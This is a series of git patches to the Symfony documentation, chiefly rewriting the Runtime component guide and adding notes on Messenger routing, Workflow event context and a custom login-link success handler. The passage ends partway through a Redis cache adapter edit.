Co-authored-by: Ondřej Frei <37588173+freiondrej@users.noreply.github.com>
---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 86e3814ee0c..9c868bdc05b 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -41,7 +41,7 @@ the autoload files since the component includes a composer plugin. The ``autoloa
 will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
 is to take the callable and resolve the arguments (``array $context``). Then it calls
 the callable to get the application ``App\Kernel``. At last it will run the application,
-ie calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+i.e. calling ``$kernel->handle(Request::createFromGlobals())->send()``.
 
 To make a console application, the same bootstrap code would look like::
 

From 76de97372b3fde4f2472b836542649bdef30a1fe Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 5 Apr 2021 14:22:59 +0200
Subject: [PATCH 0658/5766] [#15081] Finish the new Runtime docs

---
 .doctor-rst.yaml       |   1 +
 components/runtime.rst | 287 ++++++++++++++++++++++++++---------------
 2 files changed, 182 insertions(+), 106 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 61b56614a29..388147a8281 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -101,3 +101,4 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '// bin/console'
diff --git a/components/runtime.rst b/components/runtime.rst
index 9c868bdc05b..ae962dd18cb 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -7,7 +7,11 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
-    Swoole etc without any changes.
+    Swoole, etc. without any changes.
+
+.. versionadded:: 5.3
+
+    The Runtime component was introduced in Symfony 5.3.
 
 Installation
 ------------
@@ -21,10 +25,10 @@ Installation
 Usage
 -----
 
-The Runtime component allows you to write front-controllers in a generic way
-and with use of configuration you may change the behavior. Let's consider the
-``public/index.php`` as an example. It will return a callable which will create
-and return the application::
+The Runtime component abstracts most bootstrapping logic as so-called
+*runtimes*, allowing you to write front-controllers in a generic way.
+For instance, the Runtime component allows Symfony's ``public/index.php``
+to look like this::
 
     <?php
     // public/index.php
@@ -36,14 +40,18 @@ and return the application::
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     };
 
-The special ``autoload_runtime.php`` is automatically created when composer dumps
-the autoload files since the component includes a composer plugin. The ``autoload_runtime.php``
-will instantiate a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`, its job
-is to take the callable and resolve the arguments (``array $context``). Then it calls
-the callable to get the application ``App\Kernel``. At last it will run the application,
-i.e. calling ``$kernel->handle(Request::createFromGlobals())->send()``.
+So how does this front-controller work? At first, the special
+``autoload_runtime.php`` is automatically created by the Composer plugin in
+the component. This file runs the following logic:
+
+#. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The callable (returned in the file) is passed to the Runtime, whose job
+   is to resolve the arguments (in this example: ``array $content``);
+#. Then, this callable is called to get the application (``App\Kernel``);
+#. At last, the Runtime is used to run the application (i.e. calling
+   ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-To make a console application, the same bootstrap code would look like::
+To make a console application, the bootstrap code would look like::
 
     #!/usr/bin/env php
     <?php
@@ -56,47 +64,59 @@ To make a console application, the same bootstrap code would look like::
 
     return function (array $context) {
         $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
+
+        // returning an "Application" makes the Runtime run a Console
+        // application instead of the HTTP Kernel
         return new Application($kernel);
     };
 
 Selecting Runtimes
 ------------------
 
-The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`, it
-works excellent on most applications running with a webserver like Nginx and Apache,
-and PHP-FPM. You may change Runtime to :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-or a custom Runtime for Swoole or AWS Lambda. This can be done by specifying the
-Runtime class in the ``APP_RUNTIME`` environment variable or to specify the
-``extra.runtime.class`` in ``composer.json``.
+The default Runtime is :class:`Symfony\\Component\\Runtime\\SymfonyRuntime`. It
+works excellent on most applications running with a webserver using PHP-FPM like
+Nginx or Apache.
 
-.. code-block:: json
+The component also provides a :class:`Symfony\\Component\\Runtime\\GenericRuntime`,
+which uses PHP's ``$_SERVER``, ``$_POST``, ``$_GET``, ``$_FILES`` and
+``$_SESSION`` superglobals. You may also use a custom Runtime (e.g. to
+integrate with Swoole or AWS Lambda).
 
-    {
-        "require": {
-            "...": "..."
-        },
-        "extra": {
-            "runtime": {
-                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+Use the ``APP_RUNTIME`` environment variable or by specifying the
+``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
+
+.. configuration-block::
+
+    .. code-block:: json
+
+        {
+            "require": {
+                "...": "..."
+            },
+            "extra": {
+                "runtime": {
+                    "class": "Symfony\\Component\\Runtime\\GenericRuntime"
+                }
             }
         }
-    }
 
-Using the SymfonyRuntime
-------------------------
+    .. code-block:: env
+
+        APP_RUNTIME="Symfony\\Component\\Runtime\\GenericRuntime"
 
-The :class:`Symfony\\Component\\Runtime\\RuntimeInterface` has two methods. One
-to get an instance of :class:`Symfony\\Component\\Runtime\\ResolverInterface`
-that prepares the arguments to the callable and one get an instance of
-:class:`Symfony\\Component\\Runtime\\RunnerInterface` to run the application.
+Using the Runtime
+-----------------
 
-The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-arguments and different applications.
+A Runtime is resposible for passing arguments into the closure and run the
+application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
+:class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
+arguments and different applications that you can use in your
+front-controllers.
 
 Resolvable Arguments
 ~~~~~~~~~~~~~~~~~~~~
 
-The closure returned from the script may have zero or more arguments.::
+The closure returned from the front-controller may have zero or more arguments::
 
     <?php
     // public/index.php
@@ -109,27 +129,32 @@ The closure returned from the script may have zero or more arguments.::
         // ...
     };
 
+The following arguments are supported by the ``SymfonyRuntime``:
 
-``:class:`Symfony\\Component\\HttpFoundation\\Request` $request``
+:class:`Symfony\\Component\\HttpFoundation\\Request`
     A request created from globals.
 
-``:class:`Symfony\\Component\\Console\\Input\\InputInterface` $input``
+:class:`Symfony\\Component\\Console\\Input\\InputInterface`
     An input to read options and arguments.
 
-``:class:`Symfony\\Component\\Console\\Output\\OutputInterface` $output``
+:class:`Symfony\\Component\\Console\\Output\\OutputInterface`
     Console output to print to the CLI with style.
 
-``:class:`Symfony\\Component\\Console\\Application` $application``
+:class:`Symfony\\Component\\Console\\Application`
     An application for creating CLI applications.
 
-``:class:`Symfony\\Component\\Command\\Command` $command``
-    For creating one line command CLI applications.
+:class:`Symfony\\Component\\Command\\Command`
+    For creating one line command CLI applications (using
+    ``Command::setCode()``).
+
+And these arguments are supported by both the ``SymfonyRuntime`` and
+``GenerGenericRuntime`` (both type and variable name are important):
 
 ``array $context``
-    This is the same as ``$_SERVER`` + ``$_ENV``
+    This is the same as ``$_SERVER`` + ``$_ENV``.
 
 ``array $argv``
-    The arguments passed to the command. Same as ``$_SERVER['argv']``
+    The arguments passed to the command (same as ``$_SERVER['argv']``).
 
 ``array $request``
     With keys ``query``, ``body``, ``files`` and ``session``.
@@ -137,9 +162,8 @@ The closure returned from the script may have zero or more arguments.::
 Resolvable Applications
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The application returned by the closure below is a Symfony Kernel. However, the
-:class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-different applications.::
+The application returned by the closure below is a Symfony Kernel. However,
+a number of different applications are supported::
 
     <?php
     // public/index.php
@@ -151,13 +175,15 @@ different applications.::
         return new Kernel('prod', false);
     };
 
-``:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface```
-    The application will be executed with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
-    just like a "standard" Symfony application.
+The ``SymfonyRuntime`` can handle these applications:
+
+:class:`Symfony\\Component\\HttpKernel\\HttpKernelInterface`
+    The application will be run with :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\HttpKernelRunner``
+    like a "standard" Symfony application.
 
-``:class:`Symfony\\Component\\HttpFoundation\\Response```
+:class:`Symfony\\Component\\HttpFoundation\\Response`
     The Response will be printed by
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``.::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner``::
 
         <?php
         // public/index.php
@@ -169,9 +195,9 @@ different applications.::
             return new Response('Hello world');
         };
 
-``:class:`Symfony\\Component\\Console\\Command\\Command```
-    To write one command applications. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+:class:`Symfony\\Component\\Console\\Command\\Command`
+    To write single command applications. This will use the
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
 
         <?php
 
@@ -189,9 +215,9 @@ different applications.::
             return $command;
         };
 
-``:class:`Symfony\\Component\\Console\\Application```
+:class:`Symfony\\Component\\Console\\Application`
     Useful with console applications with more than one command. This will use the
-    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``.::
+    :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner``::
 
         <?php
 
@@ -215,9 +241,12 @@ different applications.::
             return $app;
         };
 
-``:class:`Symfony\\Component\\Runtime\\RunnerInterface```
+The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
+applications:
+
+:class:`Symfony\\Component\\Runtime\\RunnerInterface`
     The ``RuntimeInterface`` is a way to use a custom application with the
-    generic Runtime.::
+    generic Runtime::
 
         <?php
         // public/index.php
@@ -233,13 +262,12 @@ different applications.::
 
                     return 0;
                 }
-
             };
         };
 
 ``callable``
     Your "application" can also be a ``callable``. The first callable will return
-    the "application" and the second callable is the "application" itself.::
+    the "application" and the second callable is the "application" itself::
 
         <?php
         // public/index.php
@@ -258,7 +286,7 @@ different applications.::
 
 ``void``
     If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
-    everything is fine.::
+    everything is fine::
 
         <?php
 
@@ -268,13 +296,11 @@ different applications.::
             echo 'Hello world';
         };
 
-
 Using Options
 ~~~~~~~~~~~~~
 
-The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` supports a number of
-options. They can be passed to the constructor in two ways. First by specifying
-options to ``APP_RUNTIME_OPTIONS`` environment variable.::
+Some behavior of the Runtimes can be modified through runtime options. They
+can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
     <?php
 
@@ -286,8 +312,7 @@ options to ``APP_RUNTIME_OPTIONS`` environment variable.::
 
     // ...
 
-The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
-``extra.runtime.options`` in ``composer.json``.
+You can also configure ``extra.runtime.options`` in ``composer.json``:
 
 .. code-block:: json
 
@@ -304,51 +329,89 @@ The second way to pass an option to ``SymfonyRuntime::__construct()`` is to use
         }
     }
 
-.. note::
-
-    The environment variable ``APP_DEBUG`` has special support to easily
-    turn on and off debugging.
+The following options are supported by the ``SymfonyRuntime``:
+
+``env`` (default: ``APP_ENV`` environment variable, or ``"dev"``)
+    To define the name of the environment the app runs in.
+``disable_dotenv`` (default: ``false``)
+    To disable looking for ``.env`` files.
+``dotenv_path`` (default: ``.env``)
+    To define the path of dot-env files.
+``use_putenv``
+    To tell Dotenv to set env vars using ``putenv()`` (NOT RECOMMENDED).
+``prod_envs`` (default: ``["prod"]``)
+    To define the names of the production envs.
+``test_envs`` (default: ``["test"]``)
+    To define the names of the test envs.
+
+Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
+these options:
+
+``debug`` (default: ``APP_DEBUG`` environment variable, or ``true``)
+    Toggles displaying errors.
+``runtimes``
+    Maps "application types" to a ``GenericRuntime`` implementation that
+    knows how to deal with each of them.
+``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
+    Defines the class to use to handle PHP errors.
 
 Create Your Own Runtime
 -----------------------
 
 This is an advanced topic that describes the internals of the Runtime component.
 
-Using the runtime component will benefit maintainers because the bootstrap logic
-could be versioned as a part of a normal package. If the application author decides
-to use this component, the package maintainer of the Runtime class will have more
-control and can fix bugs and add features.
+Using the Runtime component will benefit maintainers because the bootstrap
+logic could be versioned as a part of a normal package. If the application
+author decides to use this component, the package maintainer of the Runtime
+class will have more control and can fix bugs and add features.
 
 .. note::
 
-    Before Symfony 5.3, the boostrap logic was part of a Flex recipe. Since recipes
-    are rarely updated by users, bug patches would rarely be installed.
-
-The Runtime component is designed to be totally generic and able to run any application
-outside of the global state in 6 steps:
-
- 1. The main entry point returns a callable (A) that wraps the application
- 2. Callable (A) is passed to ``RuntimeInterface::getResolver()``, which returns a
-    ``ResolverInterface``. This resolver returns an array with the callable (A)
-    (or something that decorates the callable (A)) at index 0, and all its resolved
-    arguments at index 1.
- 3. The callable A is invoked with its arguments, it will return an object that
-    represents the application (B).
- 4. That object (B) is passed to ``RuntimeInterface::getRunner()``, which returns a
-    ``RunnerInterface``: an instance that knows how to "run" the object (B).
- 5. The ``RunnerInterface::run($objectB)`` is executed and it returns the exit status
-    code as `int`.
- 6. The PHP engine is exited with this status code.
+    Before Symfony 5.3, the Symfony boostrap logic was part of a Flex recipe.
+    Since recipes are rarely updated by users, bug patches would rarely be
+    installed.
+
+The Runtime component is designed to be totally generic and able to run any
+application outside of the global state in 6 steps:
+
+#. The main entry point returns a *callable* (the "app") that wraps the application;
+#. The *app callable* is passed to ``RuntimeInterface::getResolver()``, which returns
+   a :class:`Symfony\\Component\\Runtime\\ResolverInterface`. This resolver returns
+   an array with the app callable (or something that decorates this callable) at
+   index 0 and all its resolved arguments at index 1.
+#. The *app callable* is invoked with its arguments, it will return an object that
+   represents the application.
+#. This *application object* is passed to ``RuntimeInterface::getRunner()``, which
+   returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
+   that knows how to "run" the appliction object.
+#. The ``RunnerInterface::run(object $application)`` is called and it returns the
+   exit status code as `int`.
+#. The PHP engine is exited with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
 will the end user use? Second, what will the user's application look like?
 
-To create a runtime for ReactPHP, we see that no special arguments are typically
-required. We will use the standard arguments provided by :class:`Symfony\\Component\\Runtime\\GenericRuntime`
-by extending tha class. But a ReactPHP application will need some special logic
-to run. That logic is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
+For instance, imagine you want to create a runtime for `ReactPHP`_:
+
+**What arguments will the end user use?**
+
+For a generic ReactPHP application, there are no special arguments are
+typically required. This means that you can use the
+:class:`Symfony\\Component\\Runtime\\GenericRuntime`.
+
+**What will the user's application look like?**
+
+There is also no typical React application, so you might want to rely on
+the `PSR-15`_ interfaces for HTTP request handling.
+
+However, a ReactPHP application will need some special logic to *run*. That logic
+is added in a new class implementing :class:`Symfony\\Component\\Runtime\\RunnerInterface`::
 
     use Psr\Http\Message\ServerRequestInterface;
+    use Psr\Http\Server\RequestHandlerInterface;
+    use React\EventLoop\Factory as ReactFactory;
+    use React\Http\Server as ReactHttpServer;
+    use React\Socket\Server as ReactSocketServer;
     use Symfony\Component\Runtime\RunnerInterface;
 
     class ReactPHPRunner implements RunnerInterface
@@ -365,13 +428,18 @@ to run. That logic is added in a new class implementing :class:`Symfony\\Compone
         public function run(): int
         {
             $application = $this->application;
-            $loop = \React\EventLoop\Factory::create();
+            $loop = ReactFactory::create();
 
-            $server = new \React\Http\Server($loop, function (ServerRequestInterface $request) use ($application) {
-                return $application->handle($request);
-            });
+            // configure ReactPHP to correctly handle the PSR-15 application
+            $server = new ReactHttpServer(
+                $loop,
+                function (ServerRequestInterface $request) use ($application) {
+                    return $application->handle($request);
+                }
+            );
 
-            $socket = new \React\Socket\Server($this->port, $loop);
+            // start the ReactPHP server
+            $socket = new ReactSocketServer($this->port, $loop);
             $server->listen($socket);
 
             $loop->run();
@@ -380,8 +448,8 @@ to run. That logic is added in a new class implementing :class:`Symfony\\Compone
         }
     }
 
-Now we should create a new :class:`Symfony\\Component\\Runtime\\RuntimeInterface`
-that is using our ``ReactPHPRunner``::
+By extending the ``GenericRuntime``, you make sure that the application is
+always using this ``ReactPHPRunner``::
 
     use Symfony\Component\Runtime\GenericRuntime;
     use Symfony\Component\Runtime\RunnerInterface;
@@ -402,14 +470,21 @@ that is using our ``ReactPHPRunner``::
                 return new ReactPHPRunner($application, $this->port);
             }
 
+            // if it's not a PSR-15 application, use the GenericRuntime to
+            // run the application (see "Resolvable Applications" above)
             return parent::getRunner($application);
         }
     }
 
 The end user will now be able to create front controller like::
 
+    <?php
+
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
     return function (array $context) {
-        return new Psr15Application();
+        return new SomeCustomPsr15Application();
     };
+
+.. _ReactPHP: https://reactphp.org/
+.. _`PSR-15`: https://www.php-fig.org/psr/psr-15/

From ef5f04b38529e63c3a2916f64983b9a36a52533c Mon Sep 17 00:00:00 2001
From: Wouter J <wouterj@users.noreply.github.com>
Date: Mon, 5 Apr 2021 18:55:04 +0200
Subject: [PATCH 0659/5766] Apply suggestions from code review

Co-authored-by: Denis Brumann <dbrumann@gmail.com>
---
 components/runtime.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index ae962dd18cb..dc745adb5c6 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -45,7 +45,7 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
-#. The callable (returned in the file) is passed to the Runtime, whose job
+#. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $content``);
 #. Then, this callable is called to get the application (``App\Kernel``);
 #. At last, the Runtime is used to run the application (i.e. calling
@@ -107,7 +107,7 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
 Using the Runtime
 -----------------
 
-A Runtime is resposible for passing arguments into the closure and run the
+A Runtime is responsible for passing arguments into the closure and run the
 application returned by the closure. The :class:`Symfony\\Component\\Runtime\\SymfonyRuntime` and
 :class:`Symfony\\Component\\Runtime\\GenericRuntime` supports a number of
 arguments and different applications that you can use in your
@@ -245,7 +245,7 @@ The ``GenericRuntime`` and ``SymfonyRuntime`` also support these generic
 applications:
 
 :class:`Symfony\\Component\\Runtime\\RunnerInterface`
-    The ``RuntimeInterface`` is a way to use a custom application with the
+    The ``RunnerInterface`` is a way to use a custom application with the
     generic Runtime::
 
         <?php
@@ -395,7 +395,7 @@ For instance, imagine you want to create a runtime for `ReactPHP`_:
 
 **What arguments will the end user use?**
 
-For a generic ReactPHP application, there are no special arguments are
+For a generic ReactPHP application, no special arguments are
 typically required. This means that you can use the
 :class:`Symfony\\Component\\Runtime\\GenericRuntime`.
 

From 85c30dafb38ca72194bc2c3b0cc633df4b811f0e Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 15:03:44 +0200
Subject: [PATCH 0660/5766] Fixed invalid configuration-block

---
 components/runtime.rst | 24 +++++++++---------------
 1 file changed, 9 insertions(+), 15 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index dc745adb5c6..75c84b0fe17 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -85,24 +85,18 @@ integrate with Swoole or AWS Lambda).
 Use the ``APP_RUNTIME`` environment variable or by specifying the
 ``extra.runtime.class`` in ``composer.json`` to change the Runtime class:
 
-.. configuration-block::
-
-    .. code-block:: json
+.. code-block:: json
 
-        {
-            "require": {
-                "...": "..."
-            },
-            "extra": {
-                "runtime": {
-                    "class": "Symfony\\Component\\Runtime\\GenericRuntime"
-                }
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "class": "Symfony\\Component\\Runtime\\GenericRuntime"
             }
         }
-
-    .. code-block:: env
-
-        APP_RUNTIME="Symfony\\Component\\Runtime\\GenericRuntime"
+    }
 
 Using the Runtime
 -----------------

From f5ee47256a00b3f1544215bbd3b2633d2454baf1 Mon Sep 17 00:00:00 2001
From: Sylvain Fabre <syl.fabre@gmail.com>
Date: Fri, 16 Oct 2020 13:17:42 +0200
Subject: [PATCH 0661/5766] [Messenger] Routing & Inheritance

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 52f125a3b61..8b977fcd283 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -314,6 +314,13 @@ to multiple transports:
             ],
         ]);
 
+.. note::
+
+    If you configure routing for both a child and parent class, but rules
+    are used. E.g. if you have an ``SmsNotification`` object that extends
+    from ``Notification``, both the routing for ``Notification`` and
+    ``SmsNotification`` will be used.
+
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 5c20fe3a94072394baec216a5d48947f010b66e1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 7 Apr 2021 16:14:13 +0200
Subject: [PATCH 0662/5766] [Messenger] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8b977fcd283..70944b9a2d0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -316,7 +316,7 @@ to multiple transports:
 
 .. note::
 
-    If you configure routing for both a child and parent class, but rules
+    If you configure routing for both a child and parent class, both rules
     are used. E.g. if you have an ``SmsNotification`` object that extends
     from ``Notification``, both the routing for ``Notification`` and
     ``SmsNotification`` will be used.

From 5a8ce041c96a52be437f4333cf36c9b0c2c716ef Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Thu, 9 Jul 2020 12:50:34 +0200
Subject: [PATCH 0663/5766] Added explaination on context in events and initial
 marking

---
 workflow.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 048ea2c003a..bd36eb49014 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -381,11 +381,36 @@ order:
     * ``workflow.[workflow name].announce``
     * ``workflow.[workflow name].announce.[transition name]``
 
+    You can avoid triggering those events by using the context::
+
+        $workflow->apply($subject, $transitionName, [Workflow::DISABLE_ANNOUNCE_EVENT => true]);
+
+    .. versionadded:: 5.1
+
+        The ``Workflow::DISABLE_ANNOUNCE_EVENT`` constant was introduced in Symfony 5.1.
+
+    .. versionadded:: 5.2
+
+        In Symfony 5.2, the context is accessible in all events::
+
+            // $context must be an array
+            $context = ['context_key' => 'context_value'];
+            $workflow->apply($subject, $transitionName, $context);
+
+            // in an event listener
+            $context = $event->getContext(); // returns ['context']
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay
     in same place.
 
+.. note::
+
+    If you initialize the marking by calling ``$workflow->getMarking($object);``,
+    then the ``workflow.[workflow_name].entered.[initial_place_name]`` event will
+    be called with the default context (``Workflow::DEFAULT_INITIAL_CONTEXT``).
+
 Here is an example of how to enable logging for every time a "blog_publishing"
 workflow leaves a place::
 

From 61c6a2efe64af747ffcb825e26fdc45d281c37e5 Mon Sep 17 00:00:00 2001
From: Andrius <andrius.ulins@gmail.com>
Date: Mon, 14 Dec 2020 00:18:28 +0200
Subject: [PATCH 0664/5766] Update login_link.rst

---
 security/login_link.rst | 82 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 82 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index b92dd694178..e43edbd7a22 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -654,3 +654,85 @@ user create this POST request (e.g. by clicking a button)::
             <button type="submit">Continue</button>
         </form>
     {% endblock %}
+
+Customizing the Success Handler
+...............................
+
+To customize, how the success handler behaves, create your own ``AuthenticationSuccessHandler``::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            // Example use case: Create API token for Guard Authentication.
+            $user = $token->getUser(); // Returns string|\Stringable|UserInterface - depends on your implementation.
+
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => 'userApiToken']);
+        }
+    }
+
+Modify the configuration and use your handler for the ``success_handler`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        lifetime: 600
+                        max_uses: 1
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"
+                        check-post-only="true"
+                        max-uses="1"
+                        lifetime="600"
+                        success_handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        'lifetime' => 600,
+                        'max_uses' => 1,
+                        'success_handler' => 'App\Security\Authentication\AuthenticationSuccessHandler',
+                    ],
+                ],
+            ],
+        ]);

From 8680b94bd703f414735f25c18b3515a3915bcf8b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 16:56:32 +0200
Subject: [PATCH 0665/5766] [#14700] Minor rewording

---
 security/login_link.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index e43edbd7a22..d3c7b0e4c23 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -656,9 +656,12 @@ user create this POST request (e.g. by clicking a button)::
     {% endblock %}
 
 Customizing the Success Handler
-...............................
+-------------------------------
 
-To customize, how the success handler behaves, create your own ``AuthenticationSuccessHandler``::
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return an API key). To customize how the
+success handler behaves, create your own
+:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;
@@ -672,16 +675,14 @@ To customize, how the success handler behaves, create your own ``AuthenticationS
     {
         public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
         {
-            // Example use case: Create API token for Guard Authentication.
-            $user = $token->getUser(); // Returns string|\Stringable|UserInterface - depends on your implementation.
-
+            $user = $token->getUser();
             $userApiToken = $user->getApiToken();
 
             return new JsonResponse(['apiToken' => 'userApiToken']);
         }
     }
 
-Modify the configuration and use your handler for the ``success_handler`` key:
+Then, configure this service ID as the ``success_handler``:
 
 .. configuration-block::
 
@@ -715,7 +716,7 @@ Modify the configuration and use your handler for the ``success_handler`` key:
                         check-post-only="true"
                         max-uses="1"
                         lifetime="600"
-                        success_handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
                     />
                 </firewall>
             </config>
@@ -724,6 +725,8 @@ Modify the configuration and use your handler for the ``success_handler`` key:
     .. code-block:: php
 
         // config/packages/security.php
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
@@ -731,7 +734,7 @@ Modify the configuration and use your handler for the ``success_handler`` key:
                         'check_route' => 'login_check',
                         'lifetime' => 600,
                         'max_uses' => 1,
-                        'success_handler' => 'App\Security\Authentication\AuthenticationSuccessHandler',
+                        'success_handler' => AuthenticationSuccessHandler::class,
                     ],
                 ],
             ],

From e16bc4ea4180381e515095f898163faeeba04397 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:02:08 +0200
Subject: [PATCH 0666/5766] [#14728] Be explicit about the double 's'

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index bed064679e4..0845b3bcb96 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -63,7 +63,7 @@ helper method allows creating and configuring the Redis client class instance us
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
 password and a database index. To enable TLS for connections, the scheme ``redis`` must be
-replaced by ``rediss``.
